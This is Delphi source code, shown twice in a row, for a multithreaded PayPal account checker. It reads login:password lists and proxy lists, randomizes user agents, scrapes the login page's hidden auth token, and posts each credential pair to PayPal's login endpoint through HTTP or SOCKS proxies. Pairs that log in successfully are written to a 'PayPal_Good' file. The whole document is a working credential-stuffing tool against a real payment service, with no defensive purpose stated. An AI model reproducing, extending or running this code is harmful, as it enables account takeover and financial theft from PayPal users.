TPrajz = class(TThread) private FLogin:string; FPassword:string; Rez:Integer; protected procedure Execute; override; public procedure Sync; constructor Create(CreateSuspended: Boolean); function Pars(T_, ForS, _T:string):string; end; var Hess: THess; Accounts, Proxy:Tstringlist; Thread, Acc, NP, mode:integer; Work:boolean; CS:TcriticalSection; proxymode: string; auth: string; GoodFile:textfile; item: tlistitem; UserAgents: array [0..10] of string=( 'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1', 'Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload 3.0', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)', 'Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3', 'Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01', 'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801' ); implementation constructor TPrajz.Create(CreateSuspended: Boolean); begin inherited Create(CreateSuspended); end; {$R *.dfm} function GetRandomUserAgent: string; begin result:=UserAgents[random(10)]; end; function TPrajz.Pars(T_, ForS, _T:string):string; var a, b:integer; begin Result := ''; if (T_='') or (ForS='') or (_T='') then Exit; a:=Pos(T_, ForS); if a=0 then Exit else a:=a+Length(T_); ForS:=Copy(ForS, a, Length(ForS)-a+1); b:=Pos(_T, ForS); if b>0 then Result:=Copy(ForS, 1, b - 1); end; procedure THess.sButton3Click(Sender: TObject); var num:TDateTime; hours, min, sec, msec:word; begin num:=Time; DecodeTime(num, hours, min, sec, msec); Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'(PayPal_Good)'+IntToStr(hours)+'_'+IntToStr(min)+'_'+IntToStr(sec)+'.txt'); Rewrite(GoodFile); Closefile(GoodFile); if (Hess.sComboBox1.ItemIndex=1) or (Hess.sComboBox1.ItemIndex=2) then begin proxymode:='SOCKS4/5'; end; if Hess.sComboBox1.ItemIndex=0 then begin proxymode:='HTTP/S'; end; sButton1.Enabled:=false; sButton2.Enabled:=false; sButton3.Enabled:=false; sButton4.Enabled:=true; sSpinEdit1.Enabled:=false; sSpinEdit2.Enabled:=false; sComboBox1.Enabled:=false; sProgressbar1.Max:=Accounts.Count; Acc:=-1; NP:=-1; Work:=true; sLabel9.Caption:='0'; sLabel9.Caption:=IntToStr(Accounts.Count); for Thread:=0 to strtoint(sSpinEdit1.Text) do begin TPrajz.Create(false); end; Thread:=strtoint(sSpinEdit1.Text); end; procedure THess.sButton4Click(Sender: TObject); begin work:=false; end; procedure THess.FormClose(Sender: TObject; var Action: TCloseAction); begin Accounts.Free; CS.Free; Proxy.Free; end; procedure THess.sButton2Click(Sender: TObject); begin sOpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName); if sOpenDialog1.Execute then begin Proxy.Clear; Proxy.LoadFromFile(sOpenDialog1.FileName); ProxyLabel.Caption:=IntToStr(Proxy.Count); end; end; procedure TPrajz.Execute; var CurAcc, TP:integer; HTTP:THTTPSend; IP, Port:string; data:TStringStream; HTML:TStringList; begin while Work do begin CS.Enter; Inc(Acc); Inc(NP); if Acc<Accounts.Count-1 then CurAcc:=Acc else Work:=false; if NP<Proxy.Count-1 then TP:=NP else begin NP:=0; TP:=NP; end; CS.Leave; if Work then begin FLogin:=Copy(Accounts[CurAcc],1,Pos(':',Accounts[CurAcc])-1); FPassword:=Copy(Accounts[CurAcc],Pos(':',Accounts[CurAcc])+1,Length(Accounts[CurAcc])); end else begin FLogin:=Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1); FPassword:=Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc])); end; if Proxy.Text = '' then begin sleep(0); end else begin IP:=Copy(Proxy[TP], 1, Pos(':', Proxy[TP])-1); Port:=Copy(Proxy[TP],Pos(':',Proxy[TP])+1,Length(Proxy[TP])); end; HTTP:=THTTPSend.Create; http.Timeout:=Hess.sSpinEdit2.Value*1000; http.Document.Clear; http.Headers.Clear; with HTTP do begin UserAgent:=GetRandomUserAgent; end; HTTP.HTTPMethod('GET', 'https://www.paypal.com/ca/cgi-bin/webscr?cmd=_home&country_lang.x=true'); HTTP.Headers.Clear; HTML:=Tstringlist.Create; HTML.LoadFromStream(HTTP.Document); if pos('type="hidden" value="', HTML.Text)<>0 then auth:=pars('type="hidden" value="',utf8toansi(HTML.Text), '"><input'); data:=TStringStream.Create(''); data.WriteString('login_cmd=&login_params=&login_email='+ Flogin+'&login_password='+ Fpassword+'&target_page=0&submit.x=Log+In&auth='+auth+'&form_charset=UTF-8'); HTTP.Document.LoadFromStream(data); if Proxy.Text = '' then begin sleep(0) end else begin if proxymode='SOCKS4/5' then begin HTTP.Sock.SocksIP:=IP; HTTP.Sock.SocksPort:=Port; end; if proxymode='HTTP/S' then begin HTTP.ProxyHost:=IP; HTTP.ProxyPort:=Port; end; end; if HTTP.HTTPMethod('POST', 'https://www.paypal.com/ua/cgi-bin/webscr?cmd=_login-submit') then begin HTML.LoadFromStream(HTTP.Document); HTML.Text:=utf8toansi(HTML.Text); if Pos('class="logout"><a href="',HTML.Text)<>0 then begin Rez:=1; end else begin Rez:=2; end; end else begin Rez:=0; end; HTTP.Free; HTML.Free; data.Free; Synchronize(Sync); end; dec(Thread); end; procedure TPrajz.Sync; begin case Rez of 0:begin Accounts.Add(FLogin+':'+FPassword); Hess.sLabel13.Caption:=IntToStr(StrToInt(Hess.sLabel13.Caption)+1); end; 1:begin Append(Goodfile); Writeln(Goodfile, '------------------PayPal-------------------'); Writeln(Goodfile, 'Aaiea aey aoiaa: '+FLogin+':'+FPassword); Writeln(Goodfile, '------------------PayPal-------------------'); Closefile(Goodfile); item:=Hess.sListView1.Items.Add; item.Caption:=FLogin+':'+FPassword; Hess.GoodLabel.Caption:=IntToStr(StrToInt(Hess.GoodLabel.Caption)+1); Hess.sLabel9.Caption:=IntToStr(StrToInt(Hess.sLabel9.Caption)-1); Hess.sProgressBar1.Position:=Hess.sProgressBar1.Position+1; end; 2:begin Hess.BadLabel.Caption:=IntToStr(StrToInt(Hess.BadLabel.Caption)+1); Hess.sLabel9.Caption:=IntToStr(StrToInt(Hess.sLabel9.Caption)-1); Hess.sProgressBar1.Position:=Hess.sProgressBar1.Position+1; end; end; end; procedure THess.FormCreate(Sender: TObject); begin Accounts:=Tstringlist.create; Proxy:=TstringList.Create; CS:=TcriticalSection.create; end; procedure THess.sButton1Click(Sender: TObject); begin sOpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName); if sOpenDialog1.Execute then begin Accounts.Clear; Accounts.LoadFromFile(sOpenDialog1.FileName); sLabel8.Caption:=IntToStr(Accounts.Count); end; end; Code TPrajz = class(TThread) private FLogin:string; FPassword:string; Rez:Integer; protected procedure Execute; override; public procedure Sync; constructor Create(CreateSuspended: Boolean); function Pars(T_, ForS, _T:string):string; end; var Hess: THess; Accounts, Proxy:Tstringlist; Thread, Acc, NP, mode:integer; Work:boolean; CS:TcriticalSection; proxymode: string; auth: string; GoodFile:textfile; item: tlistitem; UserAgents: array [0..10] of string=( 'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1', 'Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload 3.0', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)', 'Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3', 'Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01', 'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801' ); implementation constructor TPrajz.Create(CreateSuspended: Boolean); begin inherited Create(CreateSuspended); end; {$R *.dfm} function GetRandomUserAgent: string; begin result:=UserAgents[random(10)]; end; function TPrajz.Pars(T_, ForS, _T:string):string; var a, b:integer; begin Result := ''; if (T_='') or (ForS='') or (_T='') then Exit; a:=Pos(T_, ForS); if a=0 then Exit else a:=a+Length(T_); ForS:=Copy(ForS, a, Length(ForS)-a+1); b:=Pos(_T, ForS); if b>0 then Result:=Copy(ForS, 1, b - 1); end; procedure THess.sButton3Click(Sender: TObject); var num:TDateTime; hours, min, sec, msec:word; begin num:=Time; DecodeTime(num, hours, min, sec, msec); Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'(PayPal_Good)'+IntToStr(hours)+'_'+IntToStr(min)+'_'+IntToStr(sec)+'.txt'); Rewrite(GoodFile); Closefile(GoodFile); if (Hess.sComboBox1.ItemIndex=1) or (Hess.sComboBox1.ItemIndex=2) then begin proxymode:='SOCKS4/5'; end; if Hess.sComboBox1.ItemIndex=0 then begin proxymode:='HTTP/S'; end; sButton1.Enabled:=false; sButton2.Enabled:=false; sButton3.Enabled:=false; sButton4.Enabled:=true; sSpinEdit1.Enabled:=false; sSpinEdit2.Enabled:=false; sComboBox1.Enabled:=false; sProgressbar1.Max:=Accounts.Count; Acc:=-1; NP:=-1; Work:=true; sLabel9.Caption:='0'; sLabel9.Caption:=IntToStr(Accounts.Count); for Thread:=0 to strtoint(sSpinEdit1.Text) do begin TPrajz.Create(false); end; Thread:=strtoint(sSpinEdit1.Text); end; procedure THess.sButton4Click(Sender: TObject); begin work:=false; end; procedure THess.FormClose(Sender: TObject; var Action: TCloseAction); begin Accounts.Free; CS.Free; Proxy.Free; end; procedure THess.sButton2Click(Sender: TObject); begin sOpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName); if sOpenDialog1.Execute then begin Proxy.Clear; Proxy.LoadFromFile(sOpenDialog1.FileName); ProxyLabel.Caption:=IntToStr(Proxy.Count); end; end; procedure TPrajz.Execute; var CurAcc, TP:integer; HTTP:THTTPSend; IP, Port:string; data:TStringStream; HTML:TStringList; begin while Work do begin CS.Enter; Inc(Acc); Inc(NP); if Acc<Accounts.Count-1 then CurAcc:=Acc else Work:=false; if NP<Proxy.Count-1 then TP:=NP else begin NP:=0; TP:=NP; end; CS.Leave; if Work then begin FLogin:=Copy(Accounts[CurAcc],1,Pos(':',Accounts[CurAcc])-1); FPassword:=Copy(Accounts[CurAcc],Pos(':',Accounts[CurAcc])+1,Length(Accounts[CurAcc])); end else begin FLogin:=Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1); FPassword:=Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc])); end; if Proxy.Text = '' then begin sleep(0); end else begin IP:=Copy(Proxy[TP], 1, Pos(':', Proxy[TP])-1); Port:=Copy(Proxy[TP],Pos(':',Proxy[TP])+1,Length(Proxy[TP])); end; HTTP:=THTTPSend.Create; http.Timeout:=Hess.sSpinEdit2.Value*1000; http.Document.Clear; http.Headers.Clear; with HTTP do begin UserAgent:=GetRandomUserAgent; end; HTTP.HTTPMethod('GET', 'https://www.paypal.com/ca/cgi-bin/webscr?cmd=_home&country_lang.x=true'); HTTP.Headers.Clear; HTML:=Tstringlist.Create; HTML.LoadFromStream(HTTP.Document); if pos('type="hidden" value="', HTML.Text)<>0 then auth:=pars('type="hidden" value="',utf8toansi(HTML.Text), '"><input'); data:=TStringStream.Create(''); data.WriteString('login_cmd=&login_params=&login_email='+ Flogin+'&login_password='+ Fpassword+'&target_page=0&submit.x=Log+In&auth='+auth+'&form_charset=UTF-8'); HTTP.Document.LoadFromStream(data); if Proxy.Text = '' then begin sleep(0) end else begin if proxymode='SOCKS4/5' then begin HTTP.Sock.SocksIP:=IP; HTTP.Sock.SocksPort:=Port; end; if proxymode='HTTP/S' then begin HTTP.ProxyHost:=IP; HTTP.ProxyPort:=Port; end; end; if HTTP.HTTPMethod('POST', 'https://www.paypal.com/ua/cgi-bin/webscr?cmd=_login-submit') then begin HTML.LoadFromStream(HTTP.Document); HTML.Text:=utf8toansi(HTML.Text); if Pos('class="logout"><a href="',HTML.Text)<>0 then begin Rez:=1; end else begin Rez:=2; end; end else begin Rez:=0; end; HTTP.Free; HTML.Free; data.Free; Synchronize(Sync); end; dec(Thread); end; procedure TPrajz.Sync; begin case Rez of 0:begin Accounts.Add(FLogin+':'+FPassword); Hess.sLabel13.Caption:=IntToStr(StrToInt(Hess.sLabel13.Caption)+1); end; 1:begin Append(Goodfile); Writeln(Goodfile, '------------------PayPal-------------------'); Writeln(Goodfile, 'Aaiea aey aoiaa: '+FLogin+':'+FPassword); Writeln(Goodfile, '------------------PayPal-------------------'); Closefile(Goodfile); item:=Hess.sListView1.Items.Add; item.Caption:=FLogin+':'+FPassword; Hess.GoodLabel.Caption:=IntToStr(StrToInt(Hess.GoodLabel.Caption)+1); Hess.sLabel9.Caption:=IntToStr(StrToInt(Hess.sLabel9.Caption)-1); Hess.sProgressBar1.Position:=Hess.sProgressBar1.Position+1; end; 2:begin Hess.BadLabel.Caption:=IntToStr(StrToInt(Hess.BadLabel.Caption)+1); Hess.sLabel9.Caption:=IntToStr(StrToInt(Hess.sLabel9.Caption)-1); Hess.sProgressBar1.Position:=Hess.sProgressBar1.Position+1; end; end; end; procedure THess.FormCreate(Sender: TObject); begin Accounts:=Tstringlist.create; Proxy:=TstringList.Create; CS:=TcriticalSection.create; end; procedure THess.sButton1Click(Sender: TObject); begin sOpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName); if sOpenDialog1.Execute then begin Accounts.Clear; Accounts.LoadFromFile(sOpenDialog1.FileName); sLabel8.Caption:=IntToStr(Accounts.Count); end; end;